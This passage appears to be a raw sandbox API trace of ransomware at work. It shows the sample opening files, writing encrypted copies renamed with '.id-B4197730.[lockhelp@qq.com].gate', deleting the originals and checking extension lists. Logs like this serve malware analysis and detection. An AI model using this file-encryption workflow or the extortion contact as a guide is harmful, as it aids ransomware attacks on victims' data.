lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0112.024] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xea, lpOverlapped=0x0) returned 1 [0112.024] SetEndOfFile (hFile=0x35c) returned 1 [0112.024] CloseHandle (hObject=0x35c) returned 1 [0112.025] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0112.025] SetEndOfFile (hFile=0x358) returned 1 [0112.026] CloseHandle (hObject=0x358) returned 1 [0112.026] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.026] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0112.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.027] lstrlenW (lpString=".doc") returned 4 [0112.027] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.027] lstrlenW (lpString=".docx") returned 5 [0112.027] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0112.027] lstrlenW (lpString=".pdf") returned 4 [0112.027] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.027] lstrlenW (lpString=".xls") returned 4 [0112.027] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.027] lstrlenW (lpString=".xlsx") returned 5 [0112.027] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0112.027] lstrlenW (lpString=".ppt") returned 4 [0112.027] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.027] lstrlenW (lpString=".zip") returned 4 [0112.027] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.027] lstrlenW (lpString=".rar") returned 4 [0112.027] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.027] lstrlenW (lpString=".bz2") returned 4 [0112.027] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.027] lstrlenW (lpString=".7z") returned 3 [0112.027] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.027] lstrlenW (lpString=".dbf") returned 4 [0112.027] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.027] lstrlenW (lpString=".1cd") returned 4 [0112.028] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.028] lstrlenW (lpString=".jpg") returned 4 [0112.028] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.028] lstrlenW (lpString=".doc") returned 4 [0112.028] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.028] lstrlenW (lpString=".docx") returned 5 [0112.028] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0112.028] lstrlenW (lpString=".pdf") returned 4 [0112.028] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.028] lstrlenW (lpString=".xls") returned 4 [0112.028] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.028] lstrlenW (lpString=".xlsx") returned 5 [0112.028] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0112.028] lstrlenW (lpString=".ppt") returned 4 [0112.028] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.028] lstrlenW (lpString=".zip") returned 4 [0112.028] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.028] lstrlenW (lpString=".rar") returned 4 [0112.028] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.028] lstrlenW (lpString=".bz2") returned 4 [0112.029] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.029] lstrlenW (lpString=".7z") returned 3 [0112.029] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.029] lstrlenW (lpString=".dbf") returned 4 [0112.029] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.029] lstrlenW (lpString=".1cd") returned 4 [0112.029] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.029] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0112.029] lstrlenW (lpString=".jpg") returned 4 [0112.029] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.029] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.029] lstrlenW (lpString="Rotate4.ico") returned 11 [0112.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0112.069] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=894) returned 1 [0112.069] CloseHandle (hObject=0x330) returned 1 [0112.069] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0112.069] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0112.070] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0112.070] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0112.070] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0112.071] GetLastError () returned 0x0 [0112.071] ReadFile (in: hFile=0x330, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.447] WriteFile (in: hFile=0x318, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x380, lpOverlapped=0x0) returned 1 [0112.448] ReadFile (in: hFile=0x330, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0112.448] WriteFile (in: hFile=0x318, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xea, lpOverlapped=0x0) returned 1 [0112.448] SetEndOfFile (hFile=0x318) returned 1 [0112.493] CloseHandle (hObject=0x318) returned 1 [0112.494] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0112.494] SetEndOfFile (hFile=0x330) returned 1 [0112.495] CloseHandle (hObject=0x330) returned 1 [0112.495] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.496] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0112.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.496] lstrlenW (lpString=".doc") returned 4 [0112.496] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.496] lstrlenW (lpString=".docx") returned 5 [0112.496] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0112.496] lstrlenW (lpString=".pdf") returned 4 [0112.496] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.496] lstrlenW (lpString=".xls") returned 4 [0112.496] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.497] lstrlenW (lpString=".xlsx") returned 5 [0112.497] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0112.497] lstrlenW (lpString=".ppt") returned 4 [0112.497] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.497] lstrlenW (lpString=".zip") returned 4 [0112.497] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.497] lstrlenW (lpString=".rar") returned 4 [0112.497] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.497] lstrlenW (lpString=".bz2") returned 4 [0112.497] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.497] lstrlenW (lpString=".7z") returned 3 [0112.497] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.497] lstrlenW (lpString=".dbf") returned 4 [0112.498] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.498] lstrlenW (lpString=".1cd") returned 4 [0112.498] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.498] lstrlenW (lpString=".jpg") returned 4 [0112.498] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.498] lstrlenW (lpString=".doc") returned 4 [0112.498] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.498] lstrlenW (lpString=".docx") returned 5 [0112.498] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0112.498] lstrlenW (lpString=".pdf") returned 4 [0112.498] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.498] lstrlenW (lpString=".xls") returned 4 [0112.498] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.498] lstrlenW (lpString=".xlsx") returned 5 [0112.498] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0112.498] lstrlenW (lpString=".ppt") returned 4 [0112.498] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.499] lstrlenW (lpString=".zip") returned 4 [0112.499] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.499] lstrlenW (lpString=".rar") returned 4 [0112.499] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.499] lstrlenW (lpString=".bz2") returned 4 [0112.499] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.499] lstrlenW (lpString=".7z") returned 3 [0112.499] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.499] lstrlenW (lpString=".dbf") returned 4 [0112.499] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.499] lstrlenW (lpString=".1cd") returned 4 [0112.499] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0112.499] lstrlenW (lpString=".jpg") returned 4 [0112.499] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.500] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0112.500] lstrlenW (lpString="Setup.ico") returned 9 [0112.500] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0112.500] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=36710) returned 1 [0112.500] CloseHandle (hObject=0x330) returned 1 [0112.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0112.501] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0112.501] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0112.501] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0112.501] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0113.020] GetLastError () returned 0x0 [0113.020] ReadFile (in: hFile=0x330, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x8f66, lpOverlapped=0x0) returned 1 [0113.205] WriteFile (in: hFile=0x318, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x8f70, lpOverlapped=0x0) returned 1 [0113.206] ReadFile (in: hFile=0x330, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0113.206] WriteFile (in: hFile=0x318, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xe6, lpOverlapped=0x0) returned 1 [0113.206] SetEndOfFile (hFile=0x318) returned 1 [0113.207] CloseHandle (hObject=0x318) returned 1 [0113.209] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0113.209] SetEndOfFile (hFile=0x330) returned 1 [0113.210] CloseHandle (hObject=0x330) returned 1 [0113.211] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.211] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0113.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.211] lstrlenW (lpString=".doc") returned 4 [0113.211] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.211] lstrlenW (lpString=".docx") returned 5 [0113.211] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0113.212] lstrlenW (lpString=".pdf") returned 4 [0113.212] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.212] lstrlenW (lpString=".xls") returned 4 [0113.212] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.212] lstrlenW (lpString=".xlsx") returned 5 [0113.212] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0113.212] lstrlenW (lpString=".ppt") returned 4 [0113.212] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.212] lstrlenW (lpString=".zip") returned 4 [0113.212] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.212] lstrlenW (lpString=".rar") returned 4 [0113.212] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.212] lstrlenW (lpString=".bz2") returned 4 [0113.212] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.212] lstrlenW (lpString=".7z") returned 3 [0113.212] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.212] lstrlenW (lpString=".dbf") returned 4 [0113.212] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.212] lstrlenW (lpString=".1cd") returned 4 [0113.212] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.212] lstrlenW (lpString=".jpg") returned 4 [0113.212] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.213] lstrlenW (lpString=".doc") returned 4 [0113.213] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.213] lstrlenW (lpString=".docx") returned 5 [0113.213] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0113.213] lstrlenW (lpString=".pdf") returned 4 [0113.213] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.213] lstrlenW (lpString=".xls") returned 4 [0113.213] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.213] lstrlenW (lpString=".xlsx") returned 5 [0113.213] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0113.213] lstrlenW (lpString=".ppt") returned 4 [0113.213] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.213] lstrlenW (lpString=".zip") returned 4 [0113.213] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.213] lstrlenW (lpString=".rar") returned 4 [0113.213] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.213] lstrlenW (lpString=".bz2") returned 4 [0113.213] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.213] lstrlenW (lpString=".7z") returned 3 [0113.213] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.213] lstrlenW (lpString=".dbf") returned 4 [0113.213] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.214] lstrlenW (lpString=".1cd") returned 4 [0113.214] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0113.214] lstrlenW (lpString=".jpg") returned 4 [0113.214] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.214] lstrcmpiW (lpString1=".msi", lpString2=".gate") returned 1 [0113.214] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0113.214] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.241] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=1163264) returned 1 [0113.241] CloseHandle (hObject=0x340) returned 1 [0113.241] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0113.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0113.253] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0113.253] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0113.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0113.253] GetLastError () returned 0x0 [0113.253] ReadFile (in: hFile=0x34c, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0xffff0, lpOverlapped=0x0) returned 1 [0113.395] WriteFile (in: hFile=0x330, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xffff0, lpOverlapped=0x0) returned 1 [0113.747] ReadFile (in: hFile=0x34c, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x1c010, lpOverlapped=0x0) returned 1 [0113.879] WriteFile (in: hFile=0x330, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x1c020, lpOverlapped=0x0) returned 1 [0113.884] ReadFile (in: hFile=0x34c, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0113.884] WriteFile (in: hFile=0x330, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0113.884] SetEndOfFile (hFile=0x330) returned 1 [0113.884] CloseHandle (hObject=0x330) returned 1 [0114.346] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0114.346] SetEndOfFile (hFile=0x34c) returned 1 [0114.347] CloseHandle (hObject=0x34c) returned 1 [0114.347] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0114.348] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0114.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.348] lstrlenW (lpString=".doc") returned 4 [0114.348] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0114.348] lstrlenW (lpString=".docx") returned 5 [0114.348] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0114.348] lstrlenW (lpString=".pdf") returned 4 [0114.348] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0114.348] lstrlenW (lpString=".xls") returned 4 [0114.348] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0114.348] lstrlenW (lpString=".xlsx") returned 5 [0114.348] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0114.348] lstrlenW (lpString=".ppt") returned 4 [0114.348] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0114.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0114.348] lstrlenW (lpString=".zip") returned 4 [0114.348] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0114.348] lstrlenW (lpString=".rar") 